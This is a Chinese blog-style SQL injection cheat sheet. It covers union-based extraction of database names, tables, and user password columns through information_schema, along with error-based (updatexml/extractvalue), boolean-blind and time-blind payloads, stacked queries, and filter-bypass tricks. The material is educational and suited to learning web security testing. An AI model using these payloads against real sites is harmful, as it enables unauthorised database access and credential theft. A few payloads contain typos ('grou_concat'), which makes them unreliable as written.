SQL注入漏洞

159 阅读5分钟

携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第3天,点击查看活动详情

SQL注入

SQL注入是一种常见的web安全漏洞攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏进行攻击。

注入点可能存在的位置

GET 数据

POST 数据

HTTP 头部 (HTTP请求报文其他字段)

cookie 数据

分类

数字型:当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。

字符型:当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字 符串一般需要通过单引号来闭合的。

数据库的基本操作

show databases;:查找数据库中的所有库

create database 库名:创意一个名为库名的数据库

use 数据库:切换当前数据库

create table users ( id int(11), name varchar(255)); :创建一个名为users的表,具有id和name两列,其中name最长为255

show tables: 展示数据库中已有的表

desc users:展示users表结构

增删改查

insert into users values(1,'a'),(2,'b'); :给users中插入两条数据(增)

select * from users; :查询users 中的所有数据(查)

select * from users order by id desc; :降序查询id

select * from users limit a offset b; :从b开始(首个为0)查询a行

update users set name='aa' where id=1;:更新id=1的记录的name为aa(改)

delete from users where id=1; :删除id=1的记录(删)

drop table users;

删除表

 

sql注入过程

判断是否存在注入

id=1'
id=1 and 1=1

判断字段数量

order by 3--+ (3正常,4报错即字段为3)

报显示位

union select 1,2,3 --+

查询详细信息

union select 1,concat_ws(',',user(),database(),version()),3 --+

concat_ws()的第一个参数是连接字符串的分隔符,user():返回当前数据库连接使用的用户,database():返回当前数据库连接使用的数据库,version():返回当前数据库的版本

查现有数据库

schemata → 数据库信息

schema_name 数据库名称

union select 1,group_concat(schema_name),3 from information_schema.schemata

查询数据库数据表

tables → 数据库和表的关系

table_schema 数据库名称

table_name 表名

union select 1,group_concat(table_name) from information_schema.tables where table_schema='数据库名'

查询具体数据库

union select 1,group_concat(column_name),3 from information_schema.columns where  table_name='数据库名' --+

查询数据表所带的列

columns → 表和列的关系

column_name 列名

table_name 表名

union select 1,grou_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name = '表名'

查询值

select 列名 from 表 where 条件

union select 1,2,grou_concat(id,username,password) from users

 

Mysql常用变量(函数)

1、Database() :查看当前数据库名

2、User(): 用户

3、Version(): mysql版本

4、@@basedir:安装路径

Mysql 常用符号

逻辑运算符:

  1. & and
  2. || or
  3. ∧ xor

Mysql 常用函数

1、字符串截取函数

  • Substr(database(),1,1)
  • Subtring
  • Mid(database(),1,1)
  • Left(database(),1)

2、编码函数

  • Ascii()
  • Hex()
  • Char() // ascii()的尼函数

3、文件函数

  • Load_file() // 读取文件内容

报错注入

利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。(报错注入有长度限制,不同函数有不同函数限制)

报错原理

路径写入其他格式,就会报错并且会返回我们写入的非法格式内容,我们可以利用这个得到我们想得到的内容。

报错注入常见函数

1、Updatexml(文档类型,xpath路径,更新的内容):更新xml文档的函数。

2、Extractvalue(文档类型,xpath路径):对xml文档进行查询的函数。

盲注

攻击者可以操纵SQL语句,应用会针对真假条件返回不同的值。但是攻击者无法检索查询结果。(猜解表名、字段、数据等)

布尔盲注

Web的页面的仅仅会返回True和False。布尔盲注就是进行SQL注入之后根据页面返回的True或者是False来得到数据库中的相关信息。

left() :left(database(),1)>'s' ,databases() 显示数据库的名称,left(a,b)从左侧截取a的前bregexp() : select user() regexp '^r' ,正则表达式匹配
like():select user() like 'ro%' ,和regexp 类似
substr()和ascii():ascii(substr((select(database()),1,1))=98
ord()和mid() : ord(mid((select user()),1,1))=114

 

步骤

1.闭合

2.找到永真和永假两种情况。

3.利用这两种情况对数据进行一位一位获取

 

涉及函数

1.substr(截取的字符串,开始位置,截取长度):字符串截取函数

2、ascii():把字符转成ascii码

时间盲注

界面返回值只有一种,true.无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

常用函数

1、sleep()

2、benchmark(x,y):重复执行x次y表给我达式

常用的判断语句

' and if(1=0,1, sleep (10)) --+ 

" and if(1=0,1, sleep(10)) --+

) and if(1=0,1, sleep(10)) --+

') and if(1=0,1, sleep(10)) --+

") and if(1=0,1, sleep(10)) --+

堆叠注入

在 ; 结束一个sql语句后继续构造下一条语句

bypass

过滤--+、#

;%00、'||、%23、-- -、

过滤information

查表名

mysql.innodb_table_stats 
//select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
或
sys.schema_auto_increment_columns

查列名(无列名注入)

创建一个数据库叫 testdb,再创一个 user 表,结构如下

2、往这个表里插入一些数据:

mysql> insert into user values(1,'admin','778778'),(2,'Artd33','123520');

3、正常查询:

mysql> select * from user;

4、这时再使用一个union查询:

mysql> select 1,2,3 union select * from user;

5、利用数字3代替未知的列名,需要加上反引号。后面加了一个a是为了表示这个表(select 1,2,3 union select * from user)的别名,不然会报错。

mysql> select `3` from (select 1,2,3 union select * from user)a;

6、当 ` 不能使用时,用别名来代替:

mysel> select b from (select 1,2,3 as b union select * from user)a;

过滤空格

/**/
或
%0d

过滤逗号

用from for

select '0'+ascii(substr(database() from 1 for 1));
相当于
select '0'+ascii(substr(database(),1,1));